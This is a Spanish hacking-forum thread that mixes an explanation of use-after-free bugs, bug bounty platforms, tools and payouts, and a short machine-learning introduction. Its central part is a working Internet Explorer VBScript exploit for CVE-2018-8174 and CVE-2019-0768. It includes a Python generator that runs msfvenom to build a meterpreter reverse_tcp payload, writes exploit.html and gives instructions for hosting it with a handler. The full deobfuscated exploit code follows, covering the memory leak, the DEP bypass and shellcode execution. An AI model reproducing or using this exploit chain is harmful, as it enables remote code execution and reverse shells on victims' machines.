El script VBScript que implementa técnicas de explotación de vulnerabilidades, específicamente utilizando técnicas de "use-after-free" y manipulación de memoria. A continuación, se detalla su funcionamiento técnico

Funcionamiento Técnico del Script

• Inicialización de Variables: Se definen varios arreglos y variables que se utilizarán para almacenar direcciones de memoria, valores aleatorios y otros datos necesarios para la explotación.
• Generación de Consultas:
  La función generateQuery(Domain) genera una consulta aleatoria para un dominio dado, utilizando valores aleatorios y manipulaciones matemáticas.
• Codificación de Cadenas:
  La función encodeString(inputString) convierte una cadena de texto en su representación hexadecimal, que se utiliza más adelante en el shellcode.

Manipulación de Memoria:

• getUint32(value): Accede a un valor de 32 bits en una dirección de memoria específica.
• leakVBScriptAddress(): Intenta filtrar la dirección de la memoria de VBScript, lo que puede ser útil para la explotación.
• getBaseAddressByDOSmodeSearch(importAddress): Busca la dirección base de un módulo en memoria.

Comparación de Cadenas:

• compareStringsWrapper(value1, value2): Compara dos cadenas, ignorando mayúsculas y minúsculas.

• getProcAddress(dllBase, functionName): Obtiene la dirección de una función exportada de una DLL dada.

Generación y Ejecución de Shellcode:

• getShellcode(): Genera el shellcode que se ejecutará.
• executeShellcode(): Ejecuta el shellcode en la memoria.

Clases y Manejo de Memoria:

• Se definen varias clases (Class1, Class2, MemoryClass, etc.) que están relacionadas con la gestión de memoria y la manipulación de objetos.

Explotación:

• startExploit(): Esta es la función principal que orquesta la explotación. Llama a otras funciones para preparar el entorno, filtrar direcciones de memoria, y finalmente ejecutar el shellcode.

Diagrama de Flujo Simplificado

A continuación, se presenta un diagrama de flujo simplificado que ilustra el proceso general del script:

Code

Copiar código
Inicio
  |
  v
Inicializar Variables
  |
  v
Llamar a startExploit()
  |
  v
Ejecutar useAfterFree()
  |
  v
Inicializar Objetos
  |
  v
Filtrar Dirección de VBScript
  |
  v
Obtener Direcciones de Módulos
  |
  v
Generar Shellcode
  |
  v
Ejecutar Shellcode
  |
  v
Fin
 

Descripción del Diagrama de Flujo

• Inicio: Comienza la ejecución del script.
• Inicializar Variables: Se definen y se inicializan las variables necesarias
• Llamar a startExploit(): Se inicia el proceso de explotación.
• Ejecutar useAfterFree(): Se ejecuta la función que implementa la técnica de "use-after-free".
• Inicializar Objetos: Se inicializan los objetos necesarios para la explotación.
• Filtrar Dirección de VBScript: Se intenta obtener la dirección de la memoria de VBScript.
• Obtener Direcciones de Módulos: Se obtienen las direcciones de los módulos necesarios (DLLs).
• Generar Shellcode: Se genera el shellcode que se ejecutará.
• Ejecutar Shellcode: Se ejecuta el shellcode en la memoria.
• Fin: Termina la ejecución del script.

La técnica de "use-after-free" es una vulnerabilidad de seguridad que ocurre en programas que gestionan memoria dinámica. Esta vulnerabilidad se produce cuando un programa continúa utilizando un puntero a un bloque de memoria que ya ha sido liberado (o "liberado"). A continuación, se detalla cómo funciona esta técnica, sus implicaciones y ejemplos.

En lenguajes de programación que permiten la gestión manual de memoria (como C o C++), los programadores pueden asignar y liberar memoria dinámicamente.
Cuando un bloque de memoria ya no es necesario, se libera utilizando funciones como free() en C.

Punteros:
Un puntero es una variable que almacena la dirección de un bloque de memoria.
Si un puntero se utiliza después de que su bloque de memoria ha sido liberado, se produce un "use-after-free".

El uso de un puntero después de liberar la memoria puede llevar a comportamientos inesperados, como la corrupción de datos, fallos del programa o, en el peor de los casos, la ejecución de código malicioso.

Ejemplo de "Use-After-Free"
Imaginemos un ejemplo simple en C:

#include <stdlib.h>
#include <stdio.h>
 
void example() {
    char *str = (char *)malloc(20); // Asignar memoria
    strcpy(str, "Hello, World!");
    printf("%s\n", str); // Usar la memoria
 
    free(str); // Liberar la memoria
 
    // Aquí ocurre el use-after-free
    printf("%s\n", str); // Uso del puntero después de liberar la memoria
}
 

En este ejemplo, después de liberar str, el programa intenta acceder a la memoria a la que str apuntaba. Esto puede resultar en un comportamiento indefinido.

Saludos comunidad

Actualmente existe una gran diversidad de opciones para monetizar las practicas de Hacking de forma aparentemente legal y que nos ayuda a desviar la mala imagen del "hacker" como criminal informatico. Pues bien el dia de hoy quiero abrir un hilo que sirva como registro sistematico de mi aprendizaje en este nicho de Networking y como lograre obtener y lograr monetizar todo el conocimiento que recopile los caminos a trabajar y demas. El motivo principal de esto es que logro observar que en el mundo de la informatica los tutoriales parecen mas un copia y pega de otros canales y la documentacion al respecto parece mas una biblia tecnica que una ruta para aprender. Si bien el objectivo principal es la recompensa de errores por explotacion Web. En este hilo puedo tocar mas de un tema relacionado.

¿Que es el Bug Bounty?

El Bug Bounty Hunter es un programa de auditoria donde se dan recompensas por el reporte de fallos a sistemas informaticos.

A través de estas plataformas las empresas interesadas en auditar sus servicios logran conectar con hackers éticos de cualquier lugar del planeta dispuestos a poner a prueba la seguridad de sus servicios. Cualquiera puede inscribirse y participar de estos programas de Bug Bounty, ya sea como un hobby o como una actividad lucrativa. Las empresas cuando abren sus programas detallan el alcance del mismo y fijan distintos premios para quienes encuentren fallos, generalmente de según la gravedad de los mismos.

Desde un punto de vista técnico, un Bug Bounty Hunter realiza actividades como:

Reconocimiento y recopilación de información: Utiliza herramientas y técnicas para mapear la infraestructura del objetivo, identificar subdominios, servicios en ejecución, tecnologías utilizadas, etc. Ejemplos de herramientas incluyen Nmap, Recon-ng, y Shodan.

Análisis de vulnerabilidades: Emplea técnicas de escaneo y análisis para detectar fallos como inyección SQL, Cross-Site Scripting (XSS), desbordamientos de búfer, errores de configuración, etc. Herramientas como Burp Suite, OWASP ZAP, y metasploit son comunes en esta etapa.

Explotación controlada: Cuando encuentra una vulnerabilidad, intenta explotarla de manera ética para confirmar su impacto, siempre respetando las reglas del programa de bug bounty y sin causar daños.

Documentación y reporte: Finalmente, redacta informes detallados que describen la vulnerabilidad, cómo fue encontrada, el impacto potencial y las pasos para reproducirla. Esto ayuda a los equipos de seguridad a corregir el fallo.

Es importante destacar que los Bug Bounty Hunters deben seguir un código ético estricto, respetando las reglas del programa y actuando con responsabilidad para no causar daños ni vulnerar la privacidad de los usuarios.

¿Como se trabajan en estos programas?

Si bien podemos encontrar empresas que ofrecen programas de recomensas de forma publica aplicando busquedas de Google Dorks en el sigueinte enlace https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt.  Existen empresas que intermedian estos procesos donde el principal cliente es la empresa que abre sus sistemas. Las plataformas mas conocidas son

HackerOne: https://www.hackerone.com/
Bugcrowd: https://www.bugcrowd.com/
Intigriti: https://www.intigriti.com/
YesWeHack: https://www.yeswehack.com/
Synack: https://www.synack.com/

Todo lo anterior serian los entornos de trabajos publicos o que podemos conseguir en internet.

¿Herramientas tipicas de en el Bug Bounty?

Pues existen gran variedad de herramientas y metodologias entre ellas

Herramientas técnicas avanzadas
Burp Suite (Pro y Community)

Interceptación y modificación de tráfico: Permite capturar y modificar solicitudes HTTP/HTTPS en tiempo real.
Spidering y crawling: Automatiza la exploración de sitios web para descubrir todos los endpoints.
Scanner: En la versión Pro, realiza análisis automatizados de vulnerabilidades como XSS, inyección SQL, etc.
Repeater y Intruder: Para pruebas manuales y automatizadas de inyección y manipulación de datos.
Extensiones (BApp Store): Añade funcionalidades como detección de vulnerabilidades específicas, análisis de javascript, etc.
OWASP ZAP (Zed Attack Proxy)

Proxy intercept: Similar a Burp, permite inspeccionar y modificar tráfico.
Automatización: Scripts en Python o Java para automatizar pruebas.
Plugins y extensiones: Para detección de vulnerabilidades específicas.
Active y passive scanning: Análisis en tiempo real y análisis pasivo para detectar problemas sin afectar la aplicación.
Nmap y NSE (Nmap Scripting Engine)

Escaneo de puertos y servicios: Detecta qué servicios están activos en un host.
Detección de versiones: Identifica versiones específicas de servicios y posibles vulnerabilidades conocidas.
Scripts NSE: Scripts personalizados para detectar vulnerabilidades específicas, como detección de servidores web vulnerables, servicios con configuraciones inseguras, etc.
Metasploit Framework

Exploits y payloads: Amplia base de exploits para vulnerabilidades conocidas.
Auxiliary modules: Para escaneo, fuzzing y recopilación de información.
Post-exploitation: Para mantener acceso, escalada de privilegios y recopilación de datos.
SQLmap

Automatización de inyección SQL: Detecta y explota vulnerabilidades de inyección SQL.
Soporte para diferentes bases de datos: MySQL, PostgreSQL, Oracle, SQL Server, etc.
Técnicas avanzadas: Blind SQL injection, out-of-band, y técnicas de evasión.
Recon-ng

Módulo de reconocimiento: Para recopilar información sobre dominios, subdominios, correos electrónicos, etc.
Integración con otras herramientas: Como Shodan, VirusTotal, etc.
Automatización: Scripts para realizar reconocimiento en masa.
Gobuster / Dirb

Fuzzing de directorios y archivos: Para descubrir recursos ocultos en servidores web.
Diccionarios personalizados: Para mejorar la detección de recursos específicos.
Wireshark

Análisis en profundidad del tráfico de red: Para detectar datos sensibles, sesiones no cifradas, o tráfico malicioso.
Filtros avanzados: Para aislar tipos específicos de tráfico o protocolos.
JoomScan / WPScan

Detección de vulnerabilidades específicas: En plataformas CMS como Joomla o WordPress.
Plugins y temas vulnerables: Identificación de componentes desactualizados o con vulnerabilidades conocidas.
Conocimientos técnicos avanzados
Protocolos web y de red

HTTP/HTTPS, WebSocket, TCP/IP, DNS, TLS/SSL, etc.
Análisis de cabeceras, cookies, tokens, sesiones, y mecanismos de autenticación.
Programación y scripting

Python: Para automatización, creación de exploits, análisis de respuestas.
Bash: Para scripting en Linux, automatización de tareas.
javascript: Para entender y explotar vulnerabilidades en el lado cliente, como XSS.
Otros lenguajes: Ruby (para Metasploit), PowerShell (en entornos Windows).
Seguridad en aplicaciones web

Inyección SQL: Técnicas de detección y explotación.
Cross-Site Scripting (XSS): Tipos (Reflejado, Persistente, DOM-based), técnicas de evasión.
Cross-Site Request Forgery (CSRF): Cómo detectar y prevenir.
Inyección de comandos: En servidores y aplicaciones.
Autenticación y autorización: Flujos, sesiones, tokens JWT

¿Top 10 de las vulnerabilidades mejores pagadas?

top 10 de las vulnerabilidades mejor pagadas en el mundo del bug bounty y la seguridad, basándome en las tendencias y recompensas que suelen ofrecer las plataformas y empresas. Recuerda que los pagos pueden variar según la gravedad, la empresa y la complejidad del hallazgo, pero estas son algunas de las más lucrativas y buscadas:

1. Inyección SQL (SQL Injection)

Descripción: Permite a un atacante manipular consultas SQL para acceder, modificar o eliminar datos en la base de datos.
Recompensa: Hasta decenas de miles de dólares, especialmente si se obtiene acceso a datos sensibles o control del sistema.

2. Cross-Site Scripting (XSS) Persistente y DOM-based

Descripción: Permite ejecutar scripts maliciosos en el navegador de otros usuarios, pudiendo robar cookies, sesiones o realizar acciones en nombre de la víctima.
Recompensa: Hasta $30,000 o más en casos críticos.

3. Vulnerabilidades de Autenticación y Sesiones (como fallos en OAuth, tokens inseguros, etc.)

Descripción: Fallos que permiten a un atacante suplantar identidades o secuestrar sesiones.
Recompensa: Hasta $50,000 o más si se compromete un sistema de alta seguridad.

4. Desbordamiento de Buffer (Buffer Overflow)

Descripción: Permite ejecutar código arbitrario en el sistema afectado, potencialmente tomando control completo del sistema.
Recompensa: Hasta $100,000 en casos de vulnerabilidades en software crítico.

5. Vulnerabilidades en Autenticación Multifactor (MFA) mal implementada o saltada

Descripción: Fallos que permiten evadir mecanismos de MFA, comprometiendo cuentas de alto valor.
Recompensa: Hasta $20,000 - $50,000.

6. Exploits en APIs (como inyección, autenticación, autorización)

Descripción: Fallos en APIs que permiten acceso no autorizado o manipulación de datos.
Recompensa: Hasta $25,000 o más en casos críticos.

7. Vulnerabilidades en Sistemas de Pago y Finanzas (como fallos en plataformas bancarias, criptomonedas)

Descripción: Fallos que permiten transferencias no autorizadas o robo de fondos.
Recompensa: Hasta cientos de miles de dólares en casos extremos.

8. Vulnerabilidades en Software de Infraestructura (como servidores, sistemas operativos, cloud)

Descripción: Fallos que permiten control total del sistema o acceso a datos confidenciales.
Recompensa: Hasta $100,000 o más en casos de impacto global.

9. Vulnerabilidades en Plataformas de Redes Sociales y Servicios de Mensajería

Descripción: Fallos que permiten manipular cuentas, robar datos o realizar ataques de spam.
Recompensa: Hasta $20,000 - $50,000.

10. Vulnerabilidades en IoT y Dispositivos Conectados

Descripción: Fallos que permiten controlar dispositivos, acceder a redes internas o realizar ataques de denegación de servicio.
Recompensa: Hasta $10,000 - $50,000 dependiendo del impacto.

Los numeros anteriores son demasiado optimistas y parecen demasiado bueno para ser verdad.

Las fuentes de informacion de donde planeo investigar incluyendo la biblioteca de ElHacker.net son

HackerOne Hacktivity

Explora informes públicos de vulnerabilidades reportadas y aprende de casos reales.
https://hackerone.com/hacktivity

Bugcrowd University

Cursos gratuitos, guías y recursos para aprender sobre bug bounty y seguridad.
https://www.bugcrowd.com/resources/bugcrowd-university/
PortSwigger Web Security Academy

Laboratorios prácticos y tutoriales sobre vulnerabilidades web.
https://portswigger.net/web-security
TryHackMe

Laboratorios interactivos y rutas de aprendizaje en hacking ético y bug bounty.
https://tryhackme.com/
Hack The Box

Desafíos prácticos en seguridad y hacking ético, con escenarios reales.
https://www.hackthebox.eu/
VulnHub

Máquinas vulnerables para practicar hacking en un entorno controlado.
https://www.vulnhub.com/
OWASP WebGoat

Aplicación web vulnerable para aprender y practicar técnicas de explotación.
https://owasp.org/www-project-webgoat/
PentesterLab

Cursos prácticos en seguridad web y APIs, con enfoque en bug bounty.
https://pentesterlab.com/
YouTube - Canales especializados

LiveOverflow: https://www.youtube.com/c/LiveOverflow
The Cyber Mentor: https://www.youtube.com/c/TheCyberMentor
HackerSploit: https://www.youtube.com/c/HackerSploit
Reddit - r/bugbounty

Comunidad activa para compartir experiencias y recursos.
https://www.reddit.com/r/bugbounty/
Discord - Bug Bounty World (y otros grupos)

Comunidad en Discord para aprender y compartir en tiempo real.
https://discord.gg/bugbountyworld

. Es un registro de proyecto ambicioso al que quiero dedicar todo el tiempo que me permita mi vida cotidiana. Asi que aqui os dejo un resumen de todo lo que planeo publicar

Saludos despues de dias de inactividad me llegaron comentarios relacionado con temas de la "Caza" de Vulnerabilidades y pagos, mi consulta actual respecto a la comunidad seria si algunos de vosotros ya lograron este tipo de trabajos y como es el proceso real para cobrar el dinero respecto a la explotación. Algunos enlaces que consulte antes de realizar estas preguntas

https://disclose.io/
https://blog.hackbynight.nl/getting-started-with-bug-bounty-hunting-in-2025-a-real-world-guide-051a3fb36376
https://www.bugbountyhunter.com/getting-started/

Saludos

Es correcto. Me tomare el tiempo de investigar las librerias y tomar ejemplos con capturas y demas, asi se entendera mejor el tema. El uso de librerias facilita el desarrollo del codigo pero dichas librerias tienen mucho material ademas del material teorico de las redes neuronales que por si son complicadas. En unas semanas mejoro el Taller para crear una guia practica.

Saludos

Analizando y reescribiendo las variables eliminando la molesta ofuscacion podemos entender mejor la funcionalidad del mismo. Pues bien, aunque ya existe documentacion no esta demas investigar y profundizar realizando algo de ingenieria inversa.

 
import sys
import subprocess
 
usage_text = """
Exploit Generator for CVE-2018-8174 & CVE-2019-0768
 
Prerequisite:
- Metasploit
- msfvenom
 
Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
 
Instruction:
1. Use this script to generate "exploit.html"
2. Host the html file on your server
3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
"""
 
if len(sys.argv) != 3:
    print(usage_text)
    sys.exit()
 
listener_ip = sys.argv[1]
listener_port = sys.argv[2]
process = subprocess.Popen(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=" + listener_ip, "LPORT=" + listener_port, "-b", "'\\x00'", "-f", "js_le"], stdout=subprocess.PIPE)
 
output = process.communicate()
payload_result = output[0]
payload = """
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=5">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="VBScript.Encode">
(Exploit Code VBScript)
</script>
</body>
</html>
"""
 
with open("exploit.html", "w") as f:
    f.write(payload)
 
 

En "(Exploit Code VBScript)" esta etiqueta no es mas que el codigo VBScript con variables renombradas acontinuación.

Dim scriptVariable
Dim array1(6), array2(6)
Dim someVariable
Dim memoryArray(40)
Dim address1, address2
Dim variable1
Dim counter1, counter2
Dim variable2, variable3
Dim continueAddress, virtualProtectAddress
 
variable1 = 195948557
address1 = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
address2 = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
someVariable = 195890093
 
Function generateQuery(Domain)
    scriptVariable = 0
    randomValue1 = 0
    randomValue2 = 0
    randomId = CLng(Rnd * 1000000)
    scriptVariable = CLng((&h27d + 8231 - &H225b) * Rnd) Mod (&h137d + 443 - &H152f) + (&h1c17 + 131 - &H1c99)
    If (randomId + scriptVariable) Mod (&h5c0 + 6421 - &H1ed3) = (&h10ba + 5264 - &H254a) Then
        scriptVariable = scriptVariable - (&h86d + 6447 - &H219b)
    End If
 
    randomValue1 = CLng((&h2bd + 6137 - &H1a6d) * Rnd) Mod (&h769 + 4593 - &H1940) + (&h1a08 + 2222 - &H2255)
    randomValue2 = CLng((&h14e6 + 1728 - &H1b5d) * Rnd) Mod (&hfa3 + 1513 - &H1572) + (&h221c + 947 - &H256e)
    generateQuery = Domain & "?" & Chr(randomValue1) & "=" & randomId & "&" & Chr(randomValue2) & "=" & scriptVariable
End Function
 
Function encodeString(ByVal inputString)
    Dim encodedString
    encodedString = ""
    For index = 0 To Len(inputString) - 1
        encodedString = encodedString & convertToHex(Asc(Mid(inputString, index + 1, 1)), 2)
    Next
    encodedString = encodedString & "00"
    If Len(encodedString) / (&h15c6 + 3068 - &H21c0) Mod (&h1264 + 2141 - &H1abf) = (&hc93 + 6054 - &H2438) Then
        encodedString = encodedString & "00"
    End If
    For i = (&h1a1a + 3208 - &H26a2) To Len(encodedString) / (&h1b47 + 331 - &H1c8e) - (&h14b2 + 4131 - &H24d4)
        part1 = Mid(encodedString, i * (&h576 + 1268 - &Ha66) + (&ha64 + 6316 - &H230f), (&ha49 + 1388 - &Hfb3))
        part2 = Mid(encodedString, i * (&hf82 + 3732 - &H1e12) + (&h210 + 2720 - &Hcaf) + (&h4fa + 5370 - &H19f2), (&hf82 + 5508 - &H2504))
        encodeString = encodeString & "%u" & part2 & part1
    Next
End Function
 
Function getUint32(value)
    Dim result
    memoryArray.mem(variable1 + 8) = value + 4
    result = memoryArray.mem(variable1)
    memoryArray.mem(variable1) = 2
    getUint32 = result
End Function
 
Function leakVBScriptAddress()
    On Error Resume Next
    Dim temp
    temp = someVariable
    temp = null
    setMemoryValue temp
    leakVBScriptAddress = getMemoryValue()
End Function
 
Function getBaseAddressByDOSmodeSearch(importAddress)
    Dim baseAddress
    baseAddress = importAddress And &hffff0000
    Do While getUint32(baseAddress + (&h748 + 4239 - &H176f)) <> 544106784 Or getUint32(baseAddress + (&ha2a + 7373 - &H268b)) <> 542330692
        baseAddress = baseAddress - 65536
    Loop
    getBaseAddressByDOSmodeSearch = baseAddress
End Function
 
Function compareStringsWrapper(value1, value2)
    Dim tempString
    tempString = ""
    For i = (&ha2a + 726 - &Hd00) To Len(value2) - (&h2e1 + 5461 - &H1835)
        tempString = tempString & Chr(getUint32(value1 + i))
    Next
    compareStringsWrapper = StrComp(UCase(tempString), UCase(value2))
End Function
 
Function getBaseFromImport(baseAddress, dllName)
    Dim importRVA, ntHeader, descriptor, importDirectory
    Dim functionAddress
    ntHeader = getUint32(baseAddress + (&h3c))
    importRVA = getUint32(baseAddress + ntHeader + &h80)
    importDirectory = baseAddress + importRVA
    descriptor = 0
    Do While True
        Dim name
        name = getUint32(importDirectory + descriptor * (&h14) + &hc)
        If name = 0 Then
            getBaseFromImport = &hBAAD0000
            Exit Function
        Else
            If compareStringsWrapper(baseAddress + name, dllName) = 0 Then
                Exit Do
            End If
        End If
        descriptor = descriptor + 1
    Loop
    functionAddress = getUint32(importDirectory + descriptor * (&h14) + &h10)
    getBaseFromImport = getBaseAddressByDOSmodeSearch(getUint32(baseAddress + functionAddress))
End Function
 
Function getProcAddress(dllBase, functionName)
    Dim exportDirectory, index
    Dim functionRVAs, functionNames, functionOrdinals
    Dim functionAddress
    exportDirectory = getUint32(dllBase + &h3c)
    exportDirectory = getUint32(dllBase + exportDirectory + &h78)
    exportDirectory = dllBase + exportDirectory
 
    functionRVAs = dllBase + getUint32(exportDirectory + &h1c)
    functionNames = dllBase + getUint32(exportDirectory + &h20)
    functionOrdinals = dllBase + getUint32(exportDirectory + &h24)
    index = 0
    Do While True
        Dim functionNameAddress
        functionNameAddress = getUint32(functionNames + index * 4)
        If compareStringsWrapper(dllBase + functionNameAddress, functionName) = 0 Then
            Exit Do
        End If
        index = index + 1
    Loop
    functionAddress = getUint32(functionOrdinals + index * 2)
    getProcAddress = dllBase + functionAddress
End Function
 
Function getShellcode()
    Dim shellcode
    shellcode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("{shellcode}" & encodeString(generateQuery("")))
    shellcode = shellcode & String((&h80000 - LenB(shellcode)) / 2, Unescape("%u4141"))
    getShellcode = shellcode
End Function
 
Function escapeAddress(ByVal value)
    Dim highPart, lowPart
    highPart = convertToHex((value And &hffff0000) / &h10000, 4)
    lowPart = convertToHex(value And &hffff, 4)
    escapeAddress = Unescape("%u" & lowPart & "%u" & highPart)
End Function
 
Function prepareShellcode()
    Dim shellcodeString, part1, part2, part3, part4
    part1 = convertToHex(continueAddress, 8)
    part2 = Mid(part1, 1, 2)
    part3 = Mid(part1, 3, 2)
    part4 = Mid(part1, 5, 2)
    shellcodeString = ""
    shellcodeString = shellcodeString & "%u0000%u" & part4 & "00"
    For i = 1 To 3
        shellcodeString = shellcodeString & "%u" & part3 & part2
        shellcodeString = shellcodeString & "%u" & part4 & part2
    Next
    shellcodeString = shellcodeString & "%u" & part3 & part2
    shellcodeString = shellcodeString & "%u00" & part2
    prepareShellcode = Unescape(shellcodeString)
End Function
 
Function wrapShellcodeWithNtContinueContext(shellcodeAddress)
    Dim shellcodeWrapper
    shellcodeWrapper = String((100334 - 65536), Unescape("%u4141"))
    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h3000)
    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h40)
    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress - 8)
    shellcodeWrapper = shellcodeWrapper & String(6, Unescape("%u4242"))
    shellcodeWrapper = shellcodeWrapper & prepareShellcode()
    shellcodeWrapper = shellcodeWrapper & String((&h80000 - LenB(shellcodeWrapper)) / 2, Unescape("%u4141"))
    wrapShellcodeWithNtContinueContext = shellcodeWrapper
End Function
 
Function expandWithVirtualProtect(shellcodeLocation)
    Dim virtualProtectExpansion
    Dim adjustedLocation
    adjustedLocation = shellcodeLocation + &h23
    virtualProtectExpansion = ""
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(adjustedLocation)
    virtualProtectExpansion = virtualProtectExpansion & String((&hb8 - LenB(virtualProtectExpansion)) / 2, Unescape("%4141"))
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(virtualProtectAddress)
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h1b)
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(0)
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(shellcodeLocation)
    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h23)
    virtualProtectExpansion = virtualProtectExpansion & String((&400 - LenB(virtualProtectExpansion)) / 2, Unescape("%u4343"))
    expandWithVirtualProtect = virtualProtectExpansion
End Function
 
Sub executeShellcode()
    memoryArray.mem(variable1) = &h4D ' DEP bypass
    memoryArray.mem(variable1 + 8) = 0
    msgbox(variable1) ' VT replaced
End Sub
 
Class Class1
    Private Sub Class_Terminate()
        Set array1(IllI) = allocateMemory((&h1078 + 5473 - &H25d8))
        IllI = IllI + (&h14b5 + 2725 - &H1f59)
        allocateMemory((&h79a + 3680 - &H15f9)) = (&h69c + 1650 - &Hd0d)
    End Sub
End Class
 
Class Class2
    Private Sub Class_Terminate()
        Set array2(IllI) = allocateMemory((&h15b + 3616 - &Hf7a))
        IllI = IllI + (&h880 + 542 - &Ha9d)
        allocateMemory((&h1f75 + 342 - &H20ca)) = (&had3 + 3461 - &H1857)
    End Sub
End Class
 
Class Class3
End Class
 
Class MemoryClass
    Dim memory
    Function P
    End Function
    Function SetProperty(Value)
        memory = Value
        SetProperty = 0
    End Function
End Class
 
Class MemoryAccessClass
    Dim memory
    Function GetMemoryLength
        GetMemoryLength = LenB(memory(variable1 + 8))
    End Function
    Function SPP
    End Function
End Class
 
Class MemoryHandlerClass
    Public Default Property Get P
        Dim temp
        P = 174088534690791e-324
        For i = (&h7a0 + 4407 - &H18d7) To (&h2eb + 1143 - &H75c)
            array1(i) = (&h2176 + 711 - &H243d)
        Next
        Set temp = New MemoryAccessClass
        temp.memory = address1
        For i = (&h1729 + 3537 - &H24fa) To (&h1df5 + 605 - &H204c)
            Set array1(i) = temp
        Next
    End Property
End Class
 
Class MemoryHandlerClass2
    Public Default Property Get P
        Dim temp
        P = 636598737289582e-328
        For i = (&h1063 + 2314 - &H196d) To (&h4ac + 2014 - &Hc84)
            array2(i) = (&h442 + 2598 - &He68)
        Next
        Set temp = New MemoryAccessClass
        temp.memory = address2
        For i = (&h7eb + 3652 - &H162f) To (&h3e8 + 1657 - &Ha5b)
            Set array2(i) = temp
        Next
    End Property
End Class
 
Set memoryHandler1 = New MemoryHandlerClass
Set memoryHandler2 = New MemoryHandlerClass2
 
Sub useAfterFree()
    For i = (&hfe8 + 3822 - &H1ed6) To (&h8b + 8633 - &H2233)
        Set array1(i) = New Class1
    Next
    For i = (&haa1 + 6236 - &H22e9) To (&h1437 + 3036 - &H1fed)
        Set array1(i) = New Class2
    Next
    IllI = 0
    For i = 0 To 6
        ReDim array1(1)
        Set array1(1) = New Class1
        Erase array1
    Next
    Set memoryHandler = New MemoryClass
    IllI = 0
    For i = 0 To 6
        ReDim array1(1)
        Set array1(1) = New Class2
        Erase array1
    Next
    Set memoryHandler2 = New MemoryClass
End Sub
 
Sub initializeObjects()
    memoryHandler.SetProperty(memoryHandler1)
    memoryHandler2.SetProperty(memoryHandler2)
    variable1 = memoryHandler2.memory
End Sub
 
Sub startExploit()
    useAfterFree()
    initializeObjects()
    vbScriptAddress = leakVBScriptAddress()
    ' Alert "CScriptEntryPointObject Leak: 0x" & Hex(vbScriptAddress) & vbcrlf & "VirtualTable address: 0x" & Hex(getUint32(vbScriptAddress))
    vbScriptBase = getBaseAddressByDOSmodeSearch(getUint32(vbScriptAddress))
    ' Alert "VBScript Base: 0x" & Hex(vbScriptBase)
    msvcrtBase = getBaseFromImport(vbScriptBase, "msvcrt.dll")
    ' Alert "MSVCRT Base: 0x" & Hex(msvcrtBase)
    kernelBase = getBaseFromImport(msvcrtBase, "kernelbase.dll")
    ' Alert "KernelBase Base: 0     
' Alert "KernelBase Base: 0x" & Hex(kernelBase)
    ntdllBase = getBaseFromImport(msvcrtBase, "ntdll.dll")
    ' Alert "Ntdll Base: 0x" & Hex(ntdllBase)
    virtualProtectAddress = getProcAddress(kernelBase, "VirtualProtect")
    ' Alert "KernelBase!VirtualProtect Address 0x" & Hex(virtualProtectAddress)
    ntContinueAddress = getProcAddress(ntdllBase, "NtContinue")
    ' Alert "KernelBase!NtContinue Address 0x" & Hex(ntContinueAddress)
 
    setMemoryValue getShellcode()
    shellcodeAddress = getMemoryValue() + 8
    ' Alert "Shellcode Address 0x" & Hex(shellcodeAddress)
    setMemoryValue wrapShellcodeWithNtContinueContext(shellcodeAddress)
    locationToExpand = getMemoryValue() + 69596
    setMemoryValue expandWithVirtualProtect(locationToExpand)
    finalMemoryValue = getMemoryValue()
    executeShellcode
    Alert "Executing Shellcode"
End Sub
 
startExploit()
 
 

En el proximo mensaje describo a detalle los datos de funcionamiento y si logro entenderlo la explicación detallada.

Saludos Black Hacker

Dentro de la inteligencia artificial tenemos
Machine Learning (ML): Las computadoras aprenden en base a experiencias pasadas, subconjunto de este esta el
Deep Learning (DL): Crear predicciones y clasificaciones basado en redes neuronales artificiales profundas (RNA) utilizando grandes conjuntos de datos el cerebro humano esta formado por miles de millones de neuronas que se comunican entre si medientes señales electricas.

Lo que diferencia el aprendizaje profundo de las tecnicas de aprendizaje de las maquinas es su capacidad para extraer características automaticamente

Procesos Machine Learning:

• 1. Seleccionar el modelo a entrenar
• 2. realizar manualmente la extracción de características.

Procesos Deep Learning:

• 1. Seleccionar la arquitectura de la red
• 2. las características se extraen automáticamente alimentando los datos de entrenamiento junto con la clase de objectivo.

Proyecto 1: Convertir Celsius a Fahrenheit.

En este proyecto, construiremos un simple modelo de aprendizaje de máquinas para convertir las temperaturas de Celsius a Fahrenheit.
La ecuación es la siguiente

 T(ºF) = T(ºC) * (9/5) + 32
Ejemplo T(ºF) = (0ºC * 9/5) +32 = 32ºF

El objectivo es predecir el valor de una variable Y en base a otra variable X.
X se llama la variable independiente e Y se llama la variable dependiente
Esto se llama "Regresión" y se tratará con mucho mas a detalle.


Son modelos de procesamiento de información inspirados en el cerebro humano. Donde tenemos un conjunto de entrenadas y nos devuelve un valor de salida.

